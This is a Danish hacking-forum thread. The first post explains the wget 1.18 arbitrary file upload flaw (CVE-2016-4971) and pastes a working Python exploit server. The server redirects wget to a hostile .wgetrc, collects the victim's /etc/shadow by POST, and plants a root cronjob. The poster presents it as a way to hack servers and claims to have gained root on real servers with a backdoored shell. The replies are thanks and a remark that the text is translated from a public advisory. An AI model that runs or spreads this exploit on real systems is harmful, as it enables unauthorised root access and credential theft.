Tråd bedømmelse:
  • 0 Stemmer - 0 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
CVE Hack servere med wget!
23-08-2016, 14:11 (Denne besked var sidst ændret: 23-08-2016, 14:18 af Oᴘɪᴜᴍ.)
#1
Hack servere med wget!
CVE LINK: https://cve.mitre.org/cgi-bin/cvename.cg...-2016-4971

Jeg vil gerne introducere jer til et relativt nyt exploit som er fundet i wget 1.18 og gør at vi kan uploade arbitrary filer.
Dette exploit gør at vi med en kompromitteret webserver kan levere vores angreb. Med dette exploit kan du escalere root hvis wget køres via et root cronjob.

Angribern der skal kontrollerer serveren skal kunne få wget til at lave en arbitrary fil med arbitrary indhold og filnavn igennem et HTTP redirect som indeholder FTP serveren så man kan modtage svar fra victim-serveren.

For eksempel, hvis angriberen server svarer med følgende reaktion:

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: ftp://attackers-server/.bash_profile
Content-Length: 262
Server: Apache


wget vil automatisk følge omdirigering og vil hente en ondsindet
.bash_profile fil fra en ondsindet FTP-server.
Det vil undlade at omdøbe filen til det oprindeligt ønskede filnavn
»Safe_file.txt", som det normalt ville gøre, i tilfælde af en omdirigering til en anden
HTTP ressource med et andet navn.
Denne sårbarhed vil ikke fungere, hvis ekstra muligheder, der tvinger destination
filnavn angives som en parameter. Såsom: -O / tmp / output
Det er dog muligt at udnytte spørgsmålet med spejling / rekursive muligheder
aktiveret såsom -r eller -m.

En anden begrænsning er hvis vi udnytter denne sårbarhed kan vi kun
uploade vores ondsinde fil til den mappe hvorfra wget blev kørt,
eller til en mappe der angives af -P option (directory_prefix option).

Den aktuelle begrænsning kunne også omgås ved at uploade en .wgetrc
config fil.

For at kunne bruge exploitet skal du lave en FTP server og selv skrive din ondsindede version af .wgetrc
Har selv skaffet nogle roots over de 4 timer jeg testede ved at smide en backdoored shell op på et russisk forum.


# Wget 1.18 < Arbitrary File Upload Exploit
# Dawid Golunski
# CVE-2016-4971

import SimpleHTTPServer
import SocketServer
import socket;

class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
  def do_GET(self):
      # This takes care of sending .wgetrc

      print "We have a volunteer requesting " + self.path + " by GET :)\n"
      if "Wget" not in self.headers.getheader('User-Agent'):
 print "But it's not a Wget :( \n"
         self.send_response(200)
         self.end_headers()
         self.wfile.write("Nothing to see here...")
         return

      print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
      self.send_response(301)
      new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
      print "Sending redirect to %s \n"%(new_path)
      self.send_header('Location', new_path)
      self.end_headers()

  def do_POST(self):
      # In here we will receive extracted file and install a PoC cronjob

      print "We have a volunteer requesting " + self.path + " by POST :)\n"
      if "Wget" not in self.headers.getheader('User-Agent'):
 print "But it's not a Wget :( \n"
         self.send_response(200)
         self.end_headers()
         self.wfile.write("Nothing to see here...")
         return

      content_len = int(self.headers.getheader('content-length', 0))
      post_body = self.rfile.read(content_len)
      print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)

      print "Sending back a cronjob script as a thank-you for the file..."
      print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"
      self.send_response(200)
      self.send_header('Content-type', 'text/plain')
      self.end_headers()
      self.wfile.write(ROOT_CRON)

      print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"

      return

HTTP_LISTEN_IP = '192.168.57.1'
HTTP_LISTEN_PORT = 80
FTP_HOST = '192.168.57.1'
FTP_PORT = 21

ROOT_CRON = "* * * * * root /usr/bin/id > /root/hacked-via-wget \n"

handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)

print "Ready? Is your FTP server running?"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
  print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
  print "FTP is down :( Exiting."
  exit(1)

print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT

handler.serve_forever()
Find alle beskeder fra denne bruger
Citer denne besked i et svar
23-08-2016, 16:40
#2
RE: Hack servere med wget!
nice nice, Thx for share :)
Find alle beskeder fra denne bruger
Citer denne besked i et svar
24-08-2016, 09:46
#3
RE: Hack servere med wget!
Intrassant og godt skrevet. Tak for det!
Don't learn to hack, hack to learn
Find alle beskeder fra denne bruger
Citer denne besked i et svar
02-09-2016, 16:42 (Denne besked var sidst ændret: 02-09-2016, 16:42 af iTick.)
#4
RE: Hack servere med wget!
Ganske interessant.

Det ligner godt nok en google translate af:
http://www.openwall.com/lists/oss-security/2016/07/09/5
Sektionen:
IV. DESCRIPTION
---
Writing a shellcode decoder stub in assembly is like talking gibberish in such a way that it is still perfectly intelligible. - iTick
Besøg denne brugers hjemmeside Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 1 Gæst(er)